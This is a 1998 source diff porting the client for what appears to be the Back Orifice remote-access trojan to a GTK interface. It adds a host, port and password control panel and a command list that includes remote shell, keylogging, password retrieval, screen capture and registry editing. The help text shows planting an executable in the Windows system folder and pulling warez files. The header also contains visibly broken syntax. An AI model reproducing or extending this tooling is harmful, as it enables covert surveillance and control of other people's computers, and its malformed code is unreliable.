+  gtk_clist_column_titles_passive(GTK_CLIST(probeList));
+  gtk_clist_set_column_title(GTK_CLIST(probeList), 0, "Commands" );
+  gtk_clist_column_titles_show(GTK_CLIST(probeList));
+  gtk_clist_set_column_width(GTK_CLIST(probeList), 175, 0 );
+  gtk_widget_set_usize (GTK_WIDGET (probeList), 175, 0);
+  pidx = 0;
+  while(probeArray[pidx].Name[0] != NULL) {
+    gtk_clist_append( (GtkCList*) probeList, probeArray[pidx].Name);
+    pidx++;
+  }
+  gtk_signal_connect (GTK_OBJECT(probeList), "select_row",
+		     GTK_SIGNAL_FUNC(select_probe), NULL);
+#if GTK_MINOR_VERSION >= 1
+  gtk_table_attach( GTK_TABLE(kitchenTable), probeScroll, 0, 1, 0, 3,
+		    GTK_FILL, GTK_FILL | GTK_EXPAND, 0, 0);
+  gtk_scrolled_window_add_with_viewport( GTK_SCROLLED_WINDOW (probeScroll), GTK_WIDGET (probeList) );
+  gtk_widget_set_usize (GTK_WIDGET (probeScroll), 175, 0);
+  gtk_widget_show(probeScroll);
+#else
+  gtk_table_attach( GTK_TABLE(kitchenTable), probeList, 0, 1, 0, 3,
+		    GTK_FILL, GTK_FILL | GTK_EXPAND, 0, 0);
+#endif
+  gtk_widget_show(probeList);
+  
+  // Help and Exe buttons
+  hbox = gtk_hbox_new(TRUE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 0, 1, 3, 4,
+		    GTK_FILL | GTK_SHRINK, GTK_SHRINK, 3, 3);
+  gtk_widget_show (hbox);
+  helpBUTTon = gtk_button_new_with_label("Help");
+  gtk_signal_connect (GTK_OBJECT (helpBUTTon), "clicked",
+		      GTK_SIGNAL_FUNC (helpDialog), currentProbe);
+  gtk_box_pack_start(GTK_BOX(hbox), helpBUTTon, TRUE, TRUE, 0);
+  gtk_widget_show (helpBUTTon);
+
+  hbox = gtk_hbox_new(TRUE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 1, 2, 3, 4,
+		    GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+  gtk_widget_show (hbox);
+  exeBUTTon = gtk_button_new_with_label("Execute");
+  gtk_signal_connect (GTK_OBJECT (exeBUTTon), "clicked",
+		      GTK_SIGNAL_FUNC (execute), currentProbe);
+  gtk_box_pack_start(GTK_BOX(hbox), exeBUTTon, TRUE, TRUE, 0);
+  gtk_widget_show (exeBUTTon);
+
+  // Text area, not editable, but our returned info goes here.
+  hbox = gtk_hbox_new(FALSE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), hbox, 1, 3, 0, 1,
+		    GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_FILL | GTK_EXPAND, 1, 1);
+  gtk_widget_show (hbox);
+  returnScreen = gtk_text_new(NULL, NULL);
+  gtk_text_set_editable(GTK_TEXT(returnScreen), FALSE);
+  gtk_text_set_word_wrap(GTK_TEXT(returnScreen), FALSE);
+  gtk_box_pack_start(GTK_BOX(hbox), returnScreen, TRUE, TRUE, 0);
+  gtk_widget_show (returnScreen);
+  rsScroll = gtk_vscrollbar_new (GTK_TEXT(returnScreen)->vadj);
+  gtk_box_pack_start(GTK_BOX(hbox), rsScroll, FALSE, FALSE, 0);
+  gtk_widget_show (rsScroll);
+  
+
+  // Use vbox and label for text entries
+  vbox = gtk_vbox_new(FALSE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 1, 2, 1, 2,
+		    GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+  gtk_widget_show (vbox);
+  arg1Label = gtk_label_new("Unused:");
+  gtk_misc_set_alignment (GTK_MISC (arg1Label), 0, 0);
+  gtk_box_pack_start(GTK_BOX(vbox), arg1Label, FALSE, FALSE, 0);
+  gtk_widget_show (arg1Label);
+  arg1Text = gtk_entry_new_with_max_length(ARGSIZE);
+  gtk_widget_set_usize(GTK_WIDGET(arg1Text), 100, 0);
+  gtk_widget_set_name(GTK_WIDGET(arg1Text), "arg1Text");
+  gtk_box_pack_start(GTK_BOX(vbox), arg1Text, FALSE, FALSE, 0);
+  gtk_widget_show (arg1Text);
+
+  vbox = gtk_vbox_new(FALSE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 1, 2,
+		    GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+  gtk_widget_show (vbox);
+  arg2Label = gtk_label_new("Unused:");
+  gtk_misc_set_alignment (GTK_MISC (arg2Label), 0, 0);
+  gtk_box_pack_start(GTK_BOX(vbox), arg2Label, FALSE, FALSE, 0);
+  gtk_widget_show (arg2Label);
+  arg2Text = gtk_entry_new_with_max_length(ARGSIZE);
+  gtk_widget_set_usize(GTK_WIDGET(arg2Text), 100, 0);
+  gtk_widget_set_name(GTK_WIDGET(arg2Text), "arg2Text");
+  gtk_box_pack_start(GTK_BOX(vbox), arg2Text, FALSE, FALSE, 0);
+  gtk_widget_show (arg2Text);
+
+
+  // Text entries for Host and Port
+  vbox = gtk_vbox_new(FALSE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 1, 2, 2, 3,
+		    GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+  gtk_widget_show (vbox);
+  hostLabel = gtk_label_new("Host:");
+  gtk_misc_set_alignment (GTK_MISC (hostLabel), 0, 0);
+  gtk_box_pack_start(GTK_BOX(vbox), hostLabel, FALSE, FALSE, 0);
+  gtk_widget_show (hostLabel);
+  hostText = gtk_entry_new_with_max_length(ARGSIZE);
+  gtk_widget_set_usize(GTK_WIDGET(hostText), 100, 0);
+  gtk_widget_set_name(GTK_WIDGET(hostText), "hostText");
+  gtk_entry_set_text(GTK_ENTRY(hostText), "127.0.0.1");
+  strcpy(oldhost, "127.0.0.1");
+  gtk_box_pack_start(GTK_BOX(vbox), hostText, FALSE, FALSE, 0);
+  gtk_widget_show (hostText);
+
+  vbox = gtk_vbox_new(FALSE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 2, 3,
+		    GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+  gtk_widget_show (vbox);
+  portLabel = gtk_label_new("Port:");
+  gtk_misc_set_alignment (GTK_MISC (portLabel), 0, 0);
+  gtk_box_pack_start(GTK_BOX(vbox), portLabel, FALSE, FALSE, 0);
+  gtk_widget_show (portLabel);
+  portText = gtk_entry_new_with_max_length(5);
+  gtk_widget_set_usize(GTK_WIDGET(portText), 100, 0);
+  gtk_widget_set_name(GTK_WIDGET(portText), "portText");
+  sprintf(buff, "%i", PORT);
+  gtk_entry_set_text(GTK_ENTRY(portText), buff);
+  strcpy(oldport, buff);
+  gtk_box_pack_start(GTK_BOX(vbox), portText, FALSE, FALSE, 0);
+  gtk_widget_show (portText);
+
+  vbox = gtk_vbox_new(FALSE, 2);
+  gtk_table_attach( GTK_TABLE(kitchenTable), vbox, 2, 3, 3, 4,
+		    GTK_FILL | GTK_EXPAND | GTK_SHRINK, GTK_SHRINK, 3, 3);
+  gtk_widget_show (vbox);
+  passLabel = gtk_label_new("Password:");
+  gtk_misc_set_alignment (GTK_MISC (passLabel), 0, 0);
+  gtk_box_pack_start(GTK_BOX(vbox), passLabel, FALSE, FALSE, 0);
+  gtk_widget_show (passLabel);
+  passText = gtk_entry_new_with_max_length(ARGSIZE);
+  gtk_widget_set_usize(GTK_WIDGET(passText), 100, 0);
+  gtk_widget_set_name(GTK_WIDGET(passText), "passText");
+  gtk_signal_connect (GTK_OBJECT (passText), "changed",
+		      GTK_SIGNAL_FUNC (update_value), 
+		      gtk_entry_get_text( GTK_ENTRY(passText) ) );
+  gtk_box_pack_start(GTK_BOX(vbox), passText, FALSE, FALSE, 0);
+  gtk_widget_show (passText);
+  
+  // Show the window and start running
+  gtk_widget_show (window);
+  gtk_main();
+
+  return(0);  
+
+}
+
diff -ruN bo/gspot.h bo_gspot/gspot.h
--- bo/gspot.h	Wed Dec 31 16:00:00 1969
+++ bo_gspot/gspot.h	Thu Dec 24 17:16:12 1998
@@ -0,0 +1,73 @@
+#define PROBE_STR_MAX 30
+
+struct probeListItem {
+  gchar Name[PROBE_STR_MAX + 1];
+  gchar firstArg[PROBE_STR_MAX + 1[];
+  gchar secondArg[[PROBE_STR_MAX + 1];
+}
+
+  gchar *probes[63][1] = { "HOST",
+			   "QUIT",
+			   "PING",
+			   "PINGLIST",
+			   "SWEEP",
+			   "SWEEPLIST",
+			   "SHELL",
+			   "STATUS",
+			   "PASSWD",
+			   "DIR",
+			   "CD",
+			   "DEL",
+			   "GET",
+			   "PUT",
+			   "COPY",
+			   "FIND",
+			   "FREEZE",
+			   "MELT",
+			   "VIEW",
+			   "REN",
+			   "MD",
+			   "RD",
+			   "INFO",
+			   "PASSES",
+			   "DIALOG",
+			   "KEYLOG",
+			   "REBOOT",
+			   "NETVIEW",
+			   "NETCONNECT",
+			   "NETDISCONNECT",
+			   "NETLIST",
+			   "RESOLVE",
+			   "SHARELIST",
+			   "SHAREADD",
+			   "SHAREDEL",
+			   "PROCLIST",
+			   "PROCKILL",
+			   "PROCSPAWN",
+			   "LISTCAPS",
+			   "CAPSCREEN",
+			   "CAPFRAME",
+			   "CAPAVI",
+			   "SOUND",
+			   "REDIRLIST",
+			   "REDIRDEL",
+			   "REDIRADD",
+			   "APPADD",
+			   "APPDEL",
+			   "APPLIST",
+			   "REGMAKEKEY",
+			   "REGDELKEY",
+			   "REGLISTKEYS",
+			   "REGLISTVALS",
+			   "REGDELVAL",
+			   "REGSETVAL",
+			   "HTTPON",
+			   "HTTPOFF",
+			   "TCPSEND",
+			   "TCPRECV",
+			   "LOCKUP",
+			   "PLUGINEXEC",
+			   "PLUGINKILL",
+			   "PLUGINLIST"};
+  
+
diff -ruN bo/helpstrings.h bo_gspot/helpstrings.h
--- bo/helpstrings.h	Wed Aug  5 21:35:31 1998
+++ bo_gspot/helpstrings.h	Wed Dec 23 23:50:09 1998
@@ -11,7 +11,7 @@
 char pinglisthelp[] =	"\
  PINGLIST - Pings a lits of ip addresses in a text file\n\
  usage:    pinglist localfilename\n\
- example:  pinglist C:\bo\\bohosts";
+ example:  pinglist /home/uname/bo/bohosts";
 
 char sweephelp[] =	"\
  SWEEP - Sweeps a subnet with ping packets\n\
@@ -21,7 +21,7 @@
 char sweeplisthelp[] =	"\
  SWEEPLIST - Sweeps a list of subnets in a text file\n\
  usage:    sweeplist localfilename\n\
- example:  sweeplist c:\\bo\\dialups";
+ example:  sweeplist /home/uname/bo/dialups";
 
 char shellhelp[] =	"SHELL - Opens a command shell";
 
@@ -49,13 +49,13 @@
 char gethelp[] =	"\
  GET - Transfers a file from remote host to the local computer\n\
  usage:    get remotefilename localfilename\n\
- example:  get c:\\warez\\photoshop.zip c:\\files\\photoshop5.zip\n\
+ example:  get c:\\warez\\photoshop.zip /home/uname/files/photoshop5.zip\n\
  note:  If localfilename is not provided file is stored in current local directory";
 
 char puthelp[] =	"\
  PUT - Transfers a file from local computer to the remote host\n\
  usage:    put localfilename remotefilename\n\
- example:  put c:\\bo\\boupdate.exe c:\\windows\\system\\b.exe\n\
+ example:  put /home/uname/bo/boupdate.exe c:\\windows\\system\\b.exe\n\
  note:  If remotefilename is not provided file is stored in current remote directory";
 
 char copyhelp[] =	"\
